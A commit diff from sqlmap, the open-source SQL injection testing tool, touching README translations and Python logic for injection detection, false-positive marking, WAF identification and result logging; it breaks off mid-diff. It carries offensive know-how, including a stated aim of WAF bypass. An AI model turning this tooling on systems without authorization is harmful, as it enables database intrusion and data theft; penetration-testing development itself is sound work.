Automatic monthly tagging

Reintroducing stacked queries removed in 79d08906a4 (good for WAF bypass)
Definite patch for MemoryError(s) (fixes #1991 )
2026-10-12 02:22:55 +00:00 · 2016-07-03 02:03:30 +02:00 · 2016-07-03 02:03:30 +02:00 · 2016-06-30 14:57:56 +02:00 · 2016-06-28 15:13:37 +02:00 · 2016-06-27 11:16:41 +02:00
103 changed files with 2011 additions and 1149 deletions
@@ -33,7 +33,7 @@ To get a list of all options and switches use:

    python sqlmap.py -hh

-You can find a sample run [here](https://gist.github.com/stamparm/5335217).
+You can find a sample run [here](https://asciinema.org/a/46601).
 To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki).

 Links
@@ -59,6 +59,7 @@ Translations
 * [Croatian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-hr-HR.md)
 * [Greek](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-gr-GR.md)
 * [Indonesian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-id-ID.md)
+* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
 * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
 * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
 * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
@@ -32,7 +32,7 @@ Para obtener una lista de todas las opciones:

    python sqlmap.py -hh

-Se puede encontrar una muestra de su funcionamiento [aquí](https://gist.github.com/stamparm/5335217).
+Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601).
 Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki).

 Enlaces
@@ -33,7 +33,7 @@

    python sqlmap.py -hh

-Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://gist.github.com/stamparm/5335217).
+Μπορείτε να δείτε ένα δείγμα λειτουργίας του προγράμματος [εδώ](https://asciinema.org/a/46601).
 Για μια γενικότερη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηριζόμενων χαρακτηριστικών και περιγραφή για όλες τις επιλογές, μαζί με παραδείγματα, καλείστε να συμβουλευτείτε το [εγχειρίδιο χρήστη](https://github.com/sqlmapproject/sqlmap/wiki).

 Σύνδεσμοι
@@ -33,7 +33,7 @@ Kako biste dobili listu svih opcija i prekidača koristite:

    python sqlmap.py -hh

-Možete pronaći primjer izvršavanja [ovdje](https://gist.github.com/stamparm/5335217).
+Možete pronaći primjer izvršavanja [ovdje](https://asciinema.org/a/46601).
 Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih značajki te opis svih opcija i prekidača, zajedno s primjerima, preporučen je uvid u [korisnički priručnik](https://github.com/sqlmapproject/sqlmap/wiki).

 Poveznice
@@ -34,7 +34,7 @@ Untuk mendapatkan daftar opsi lanjut gunakan:

    python sqlmap.py -hh

-Anda dapat mendapatkan contoh penggunaan [di sini](https://gist.github.com/stamparm/5335217).
+Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601).
 Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [manual pengguna](https://github.com/sqlmapproject/sqlmap/wiki).

 Tautan
@@ -0,0 +1,54 @@
+# sqlmap
+
+[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/doc/COPYING) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
+
+sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
+強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
+
+スクリーンショット
+----
+
+![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
+
+wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。 [スクリーンショット集](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots)
+
+インストール
+----
+
+最新のtarballを [こちら](https://github.com/sqlmapproject/sqlmap/tarball/master) から、最新のzipballを [こちら](https://github.com/sqlmapproject/sqlmap/zipball/master) からダウンロードできます。
+
+[Git](https://github.com/sqlmapproject/sqlmap) レポジトリをクローンして、sqlmapをダウンロードすることも可能です。:
+
+    git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
+
+sqlmapは、 [Python](http://www.python.org/download/) バージョン **2.6.x** または **2.7.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
+
+使用法
+----
+
+基本的なオプションとスイッチの使用法をリストするには:
+
+    python sqlmap.py -h
+
+全てのオプションとスイッチの使用法をリストするには:
+
+    python sqlmap.py -hh
+
+実行例を [こちら](https://asciinema.org/a/46601) で見ることができます。
+sqlmapの概要、機能の一覧、全てのオプションやスイッチの使用法を例とともに、 [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki) で確認することができます。
+
+リンク
+----
+
+* ホームページ: http://sqlmap.org
+* ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* コミットのRSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom
+* 課題管理: https://github.com/sqlmapproject/sqlmap/issues
+* ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki
+* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
+* メーリングリストへの参加: https://lists.sourceforge.net/lists/listinfo/sqlmap-users
+* メーリングリストのRSSフィード: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap
+* メーリングリストのアーカイブ: http://news.gmane.org/gmane.comp.security.sqlmap
+* Twitter: [@sqlmap](https://twitter.com/sqlmap)
+* デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
+* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
@@ -34,7 +34,7 @@ Para obter a lista completa de opções faça:

    python sqlmap.py -hh

-Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217).
+Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601).
 Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki).

 Links
@@ -37,7 +37,7 @@ Bütün seçenekleri gösterir

    python sqlmap.py -hh

-Program ile ilgili örnekleri [burada](https://gist.github.com/stamparm/5335217) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu  [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz
+Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu  [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki) bakmanızı tavsiye ediyoruz

 Links
 ----
@@ -33,7 +33,7 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/)  **2.6.x**  和

    python sqlmap.py -hh

-你可以从 [这里](https://gist.github.com/stamparm/5335217) 看到一个sqlmap 的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。
+你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外，你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。

 链接
 ----
@@ -99,7 +99,7 @@ void usage(char *path)
 	printf("  -h                 this screen\n");
 	printf("  -b num             maximal number of blanks (unanswered icmp requests)\n");
    printf("                     before quitting\n");
-	printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
+	printf("  -s bytes           maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE);
 	printf("In order to improve the speed, lower the delay (-d) between requests or\n");
    printf("increase the size (-s) of the data buffer\n");
 }
@@ -203,8 +203,6 @@ int main(int argc, char **argv)
 	PROCESS_INFORMATION pi;
 	int status;
 	unsigned int max_data_size;
-	struct hostent *he;
-

 	// set defaults
 	target = 0;
@@ -48,9 +48,6 @@ def action():
        elif kb.nullConnection:
            errMsg += ". You can try to rerun without using optimization "
            errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection")
-        else:
-            errMsg += ". Support for this DBMS will be implemented at "
-            errMsg += "some point"

        raise SqlmapUnsupportedDBMSException(errMsg)

@@ -55,6 +55,7 @@ from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import NOTE
 from lib.core.enums import NULLCONNECTION
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
@@ -65,11 +66,13 @@ from lib.core.exception import SqlmapSilentQuitException
 from lib.core.exception import SqlmapUserQuitException
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX
+from lib.core.settings import FI_ERROR_REGEX
 from lib.core.settings import FORMAT_EXCEPTION_STRINGS
 from lib.core.settings import HEURISTIC_CHECK_ALPHABET
 from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
 from lib.core.settings import IDS_WAF_CHECK_RATIO
 from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
+from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
 from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
 from lib.core.settings import SUPPORTED_DBMS
@@ -77,6 +80,7 @@ from lib.core.settings import URI_HTTP_HEADER
 from lib.core.settings import UPPER_RATIO_BOUND
 from lib.core.threads import getCurrentThreadData
 from lib.request.connect import Connect as Request
+from lib.request.comparison import comparison
 from lib.request.inject import checkBooleanExpression
 from lib.request.templates import getPageTemplate
 from lib.techniques.union.test import unionTest
@@ -97,6 +101,9 @@ def checkSqlInjection(place, parameter, value):
    tests = getSortedInjectionTests()
    seenPayload = set()

+    kb.data.setdefault("randomInt", str(randomInt(10)))
+    kb.data.setdefault("randomStr", str(randomStr(10)))
+
    while tests:
        test = tests.pop(0)

@@ -173,10 +180,11 @@ def checkSqlInjection(place, parameter, value):
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
+                            __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
                            unionExtended = True
-                            test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns)
-                            title = re.sub(r"\b%d\b" % _, str(2 * _), title)
-                            test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title)
+                            test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns)
+                            title = re.sub(r"\b%d\b" % _, str(__), title)
+                            test.title = re.sub(r"\b%d\b" % _, str(__), test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
@@ -380,8 +388,6 @@ def checkSqlInjection(place, parameter, value):
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content
-                        kb.data.setdefault("randomInt", str(randomInt(10)))
-                        kb.data.setdefault("randomStr", str(randomStr(10)))

                        if conf.invalidLogical:
                            _ = int(kb.data.randomInt[:2])
@@ -441,11 +447,13 @@ def checkSqlInjection(place, parameter, value):
                            kb.matchRatio = None
                            kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
                            Request.queryPage(genCmpPayload(), place, raise404=False)
-                            falsePage = threadData.lastComparisonPage or ""
+                            falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
+                            falseRawResponse = "%s%s" % (falseHeaders, falsePage)

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload, place, raise404=False)
-                            truePage = threadData.lastComparisonPage or ""
+                            truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode
+                            trueRawResponse = "%s%s" % (trueHeaders, truePage)

                            if trueResult and not(truePage == falsePage and not kb.nullConnection):
                                # Perform the test's False request
@@ -460,24 +468,59 @@ def checkSqlInjection(place, parameter, value):
                                        errorResult = Request.queryPage(errorPayload, place, raise404=False)
                                        if errorResult:
                                            continue
-
-                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title)
-                                    logger.info(infoMsg)
+                                    elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                        _ = comparison(kb.heuristicPage, None, getRatioValue=True)
+                                        if _ > kb.matchRatio:
+                                            kb.matchRatio = _
+                                            logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)

                                    injectable = True

-                            if not injectable and not any((conf.string, conf.notString, conf.regexp)) and kb.pageStable:
-                                trueSet = set(extractTextTagContent(truePage))
-                                falseSet = set(extractTextTagContent(falsePage))
-                                candidates = filter(None, (_.strip() if _.strip() in (kb.pageTemplate or "") and _.strip() not in falsePage and _.strip() not in threadData.lastComparisonHeaders else None for _ in (trueSet - falseSet)))
+                            if injectable:
+                                if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
+                                    if all((falseCode, trueCode)) and falseCode != trueCode:
+                                        conf.code = trueCode

-                                if candidates:
-                                    conf.string = candidates[0]
-                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
+                                        infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --code=%d)" % (paramType, parameter, title, conf.code)
+                                        logger.info(infoMsg)
+                                    else:
+                                        trueSet = set(extractTextTagContent(trueRawResponse))
+                                        trueSet = trueSet.union(__ for _ in trueSet for __ in _.split())
+
+                                        falseSet = set(extractTextTagContent(falseRawResponse))
+                                        falseSet = falseSet.union(__ for _ in falseSet for __ in _.split())
+
+                                        candidates = filter(None, (_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet)))
+
+                                        if candidates:
+                                            candidates = sorted(candidates, key=lambda _: len(_))
+                                            for candidate in candidates:
+                                                if re.match(r"\A\w+\Z", candidate):
+                                                    break
+
+                                            conf.string = candidate
+
+                                            infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
+                                            logger.info(infoMsg)
+
+                                        if not any((conf.string, conf.notString)):
+                                            candidates = filter(None, (_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet)))
+
+                                            if candidates:
+                                                candidates = sorted(candidates, key=lambda _: len(_))
+                                                for candidate in candidates:
+                                                    if re.match(r"\A\w+\Z", candidate):
+                                                        break
+
+                                                conf.notString = candidate
+
+                                                infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --not-string=\"%s\")" % (paramType, parameter, title, repr(conf.notString).lstrip('u').strip("'"))
+                                                logger.info(infoMsg)
+
+                                if not any((conf.string, conf.notString, conf.code)):
+                                    infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
                                    logger.info(infoMsg)

-                                    injectable = True
-
                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
@@ -518,7 +561,7 @@ def checkSqlInjection(place, parameter, value):
                                trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

                                if trueResult:
-                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable " % (paramType, parameter, title)
+                                    infoMsg = "%s parameter '%s' appears to be '%s' injectable " % (paramType, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True
@@ -538,7 +581,7 @@ def checkSqlInjection(place, parameter, value):
                                    warnMsg = "using unescaped version of the test "
                                    warnMsg += "because of zero knowledge of the "
                                    warnMsg += "back-end DBMS. You can try to "
-                                    warnMsg += "explicitly set it using option '--dbms'"
+                                    warnMsg += "explicitly set it with option '--dbms'"
                                    singleTimeWarnMessage(warnMsg)
                                else:
                                    Backend.forceDbms(kb.heuristicDbms)
@@ -627,6 +670,7 @@ def checkSqlInjection(place, parameter, value):

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
+                        injection.conf.code = conf.code
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
@@ -691,19 +735,20 @@ def checkSqlInjection(place, parameter, value):
    # Return the injection object
    if injection.place is not None and injection.parameter is not None:
        if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
-            warnMsg = "in OR boolean-based injections, please consider usage "
+            warnMsg = "in OR boolean-based injection cases, please consider usage "
            warnMsg += "of switch '--drop-set-cookie' if you experience any "
            warnMsg += "problems during data retrieval"
            logger.warn(warnMsg)

-        injection = checkFalsePositives(injection)
-
-        if not injection:
+        if not checkFalsePositives(injection):
            kb.vulnHosts.remove(conf.hostname)
+            if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
+                injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
+
    else:
        injection = None

-    if injection:
+    if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
        checkSuhosinPatch(injection)
        checkFilteredChars(injection)

@@ -748,7 +793,7 @@ def checkFalsePositives(injection):
    Checks for false positives (only in single special cases)
    """

-    retVal = injection
+    retVal = True

    if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
      (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
@@ -774,7 +819,7 @@ def checkFalsePositives(injection):
                    break

            if not checkBooleanExpression("%d=%d" % (randInt1, randInt1)):
-                retVal = None
+                retVal = False
                break

            # Just in case if DBMS hasn't properly recovered from previous delayed request
@@ -782,22 +827,22 @@ def checkFalsePositives(injection):
                checkBooleanExpression("%d=%d" % (randInt1, randInt2))

            if checkBooleanExpression("%d=%d" % (randInt1, randInt3)):          # this must not be evaluated to True
-                retVal = None
+                retVal = False
                break

            elif checkBooleanExpression("%d=%d" % (randInt3, randInt2)):        # this must not be evaluated to True
-                retVal = None
+                retVal = False
                break

            elif not checkBooleanExpression("%d=%d" % (randInt2, randInt2)):    # this must be evaluated to True
-                retVal = None
+                retVal = False
                break

            elif checkBooleanExpression("%d %d" % (randInt3, randInt2)):        # this must not be evaluated to True (invalid statement)
-                retVal = None
+                retVal = False
                break

-        if retVal is None:
+        if not retVal:
            warnMsg = "false positive or unexploitable injection point detected"
            logger.warn(warnMsg)

@@ -885,6 +930,7 @@ def heuristicCheckSqlInjection(place, parameter):
    payload = agent.payload(place, parameter, newValue=payload)
    page, _ = Request.queryPage(payload, place, content=True, raise404=False)

+    kb.heuristicPage = page
    kb.heuristicMode = False

    parseFilePaths(page)
@@ -947,7 +993,7 @@ def heuristicCheckSqlInjection(place, parameter):
        infoMsg += "'%s' might be vulnerable to cross-site scripting attacks" % parameter
        logger.info(infoMsg)

-    for match in re.finditer("(?i)[^\n]*(no such file|failed (to )?open)[^\n]*", page or ""):
+    for match in re.finditer(FI_ERROR_REGEX, page or ""):
        if randStr1.lower() in match.group(0).lower():
            infoMsg = "heuristic (FI) test shows that %s parameter " % paramType
            infoMsg += "'%s' might be vulnerable to file inclusion attacks" % parameter
@@ -1013,12 +1059,22 @@ def checkDynamicContent(firstPage, secondPage):
        logger.critical(warnMsg)
        return

-    seqMatcher = getCurrentThreadData().seqMatcher
-    seqMatcher.set_seq1(firstPage)
-    seqMatcher.set_seq2(secondPage)
+    if firstPage and secondPage and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (firstPage, secondPage)):
+        ratio = None
+    else:
+        try:
+            seqMatcher = getCurrentThreadData().seqMatcher
+            seqMatcher.set_seq1(firstPage)
+            seqMatcher.set_seq2(secondPage)
+            ratio = seqMatcher.quick_ratio()
+        except MemoryError:
+            ratio = None
+
+    if ratio is None:
+        kb.skipSeqMatcher = True

    # In case of an intolerable difference turn on dynamicity removal engine
-    if seqMatcher.quick_ratio() <= UPPER_RATIO_BOUND:
+    elif ratio <= UPPER_RATIO_BOUND:
        findDynamicContent(firstPage, secondPage)

        count = 0
@@ -1235,6 +1291,9 @@ def identifyWaf():
    if not conf.identifyWaf:
        return None

+    if not kb.wafFunctions:
+        setWafFunctions()
+
    kb.testMode = True

    infoMsg = "using WAF scripts to detect "
@@ -1276,7 +1335,7 @@ def identifyWaf():
            break

    if retVal:
-        errMsg = "WAF/IDS/IPS identified '%s'. Please " % retVal
+        errMsg = "WAF/IDS/IPS identified as '%s'. Please " % retVal
        errMsg += "consider usage of tamper scripts (option '--tamper')"
        logger.critical(errMsg)

@@ -1287,7 +1346,7 @@ def identifyWaf():
        if output and output[0] not in ("Y", "y"):
            raise SqlmapUserQuitException
    else:
-        warnMsg = "no WAF/IDS/IPS product has been identified (this doesn't mean that there is none)"
+        warnMsg = "WAF/IDS/IPS product hasn't been identified"
        logger.warn(warnMsg)

    kb.testType = None
@@ -1411,3 +1470,6 @@ def checkConnection(suppressOutput=False):

 def setVerbosity():  # Cross-linked function
    raise NotImplementedError
+
+def setWafFunctions():  # Cross-linked function
+    raise NotImplementedError
@@ -45,6 +45,7 @@ from lib.core.enums import CONTENT_TYPE
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HEURISTIC_TEST
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import NOTE
 from lib.core.enums import PAYLOAD
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapBaseException
@@ -225,23 +226,23 @@ def _saveToResultsFile():
    results = {}
    techniques = dict(map(lambda x: (x[1], x[0]), getPublicTypeMembers(PAYLOAD.TECHNIQUE)))

-    for inj in kb.injections:
-        if inj.place is None or inj.parameter is None:
+    for injection in kb.injections + kb.falsePositives:
+        if injection.place is None or injection.parameter is None:
            continue

-        key = (inj.place, inj.parameter)
+        key = (injection.place, injection.parameter, ';'.join(injection.notes))
        if key not in results:
            results[key] = []

-        results[key].extend(inj.data.keys())
+        results[key].extend(injection.data.keys())

    for key, value in results.items():
-        place, parameter = key
-        line = "%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), os.linesep)
+        place, parameter, notes = key
+        line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(map(lambda x: techniques[x][0].upper(), sorted(value))), notes, os.linesep)
        conf.resultsFP.writelines(line)

    if not results:
-        line = "%s,,,%s" % (conf.url, os.linesep)
+        line = "%s,,,,%s" % (conf.url, os.linesep)
        conf.resultsFP.writelines(line)

 def start():
@@ -463,7 +464,7 @@ def start():
                            infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter)
                            logger.info(infoMsg)

-                        elif parameter in conf.skip:
+                        elif parameter in conf.skip or kb.postHint and parameter.split(' ')[-1] in conf.skip:
                            testSqlInj = False

                            infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
@@ -520,23 +521,30 @@ def start():

                                injection = checkSqlInjection(place, parameter, value)
                                proceed = not kb.endDetection
+                                injectable = False

                                if getattr(injection, "place", None) is not None:
-                                    kb.injections.append(injection)
+                                    if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE in injection.notes:
+                                        kb.falsePositives.append(injection)
+                                    else:
+                                        injectable = True

-                                    # In case when user wants to end detection phase (Ctrl+C)
-                                    if not proceed:
-                                        break
+                                        kb.injections.append(injection)

-                                    msg = "%s parameter '%s' " % (injection.place, injection.parameter)
-                                    msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
-                                    test = readInput(msg, default="N")
+                                        # In case when user wants to end detection phase (Ctrl+C)
+                                        if not proceed:
+                                            break

-                                    if test[0] not in ("y", "Y"):
-                                        proceed = False
-                                        paramKey = (conf.hostname, conf.path, None, None)
-                                        kb.testedParams.add(paramKey)
-                                else:
+                                        msg = "%s parameter '%s' " % (injection.place, injection.parameter)
+                                        msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "
+                                        test = readInput(msg, default="N")
+
+                                        if test[0] not in ("y", "Y"):
+                                            proceed = False
+                                            paramKey = (conf.hostname, conf.path, None, None)
+                                            kb.testedParams.add(paramKey)
+
+                                if not injectable:
                                    warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
                                    warnMsg += "injectable"
                                    logger.warn(warnMsg)
@@ -585,24 +593,24 @@ def start():
                    if not conf.string and not conf.notString and not conf.regexp:
                        errMsg += " Also, you can try to rerun by providing "
                        errMsg += "either a valid value for option '--string' "
-                        errMsg += "(or '--regexp')"
+                        errMsg += "(or '--regexp')."
                    elif conf.string:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--string' as perhaps the string you "
                        errMsg += "have chosen does not match "
-                        errMsg += "exclusively True responses"
+                        errMsg += "exclusively True responses."
                    elif conf.regexp:
                        errMsg += " Also, you can try to rerun by providing a "
                        errMsg += "valid value for option '--regexp' as perhaps the regular "
                        errMsg += "expression that you have chosen "
-                        errMsg += "does not match exclusively True responses"
+                        errMsg += "does not match exclusively True responses."

                    if not conf.tamper:
                        errMsg += " If you suspect that there is some kind of protection mechanism "
                        errMsg += "involved (e.g. WAF) maybe you could retry "
                        errMsg += "with an option '--tamper' (e.g. '--tamper=space2comment')"

-                    raise SqlmapNotVulnerableException(errMsg)
+                    raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
            else:
                # Flush the flag
                kb.testMode = False
@@ -651,6 +659,8 @@ def start():
            errMsg = getSafeExString(ex)

            if conf.multipleTargets:
+                _saveToResultsFile()
+
                errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
                logger.error(errMsg)
            else:
@@ -669,9 +679,10 @@ def start():
    if kb.dataOutputFlag and not conf.multipleTargets:
        logger.info("fetched data logged to text files under '%s'" % conf.outputPath)

-    if conf.multipleTargets and conf.resultsFilename:
-        infoMsg = "you can find results of scanning in multiple targets "
-        infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
-        logger.info(infoMsg)
+    if conf.multipleTargets:
+        if conf.resultsFilename:
+            infoMsg = "you can find results of scanning in multiple targets "
+            infoMsg += "mode inside the CSV file '%s'" % conf.resultsFilename
+            logger.info(infoMsg)

    return True
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission

 from lib.core.common import Backend
 from lib.core.data import conf
+from lib.core.data import kb
 from lib.core.data import logger
 from lib.core.dicts import DBMS_DICT
 from lib.core.enums import DBMS
@@ -101,7 +102,10 @@ def setHandler():
                conf.dbmsConnector.connect()

        if handler.checkDbms():
-            conf.dbmsHandler = handler
+            if kb.resolutionDbms:
+                conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
+            else:
+                conf.dbmsHandler = handler
            break
        else:
            conf.dbmsConnector = None
@@ -102,7 +102,7 @@ class Agent(object):
            if place == PLACE.URI:
                origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            else:
-                origValue = re.search(r"\w+\Z", origValue.split(BOUNDED_INJECTION_MARKER)[0]).group(0)
+                origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
@@ -168,7 +168,7 @@ class Agent(object):
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, "").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
            _ = "%s%s" % (origValue, BOUNDED_INJECTION_MARKER)
-            retVal = "%s=%s" % (parameter, paramString.replace(_, self.addPayloadDelimiters(newValue)))
+            retVal = "%s=%s" % (re.sub(r" (\#\d\*|\(.+\))\Z", "", parameter), paramString.replace(_, self.addPayloadDelimiters(newValue)))
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
@@ -281,7 +281,7 @@ class Agent(object):
            where = kb.injection.data[kb.technique].where if where is None else where
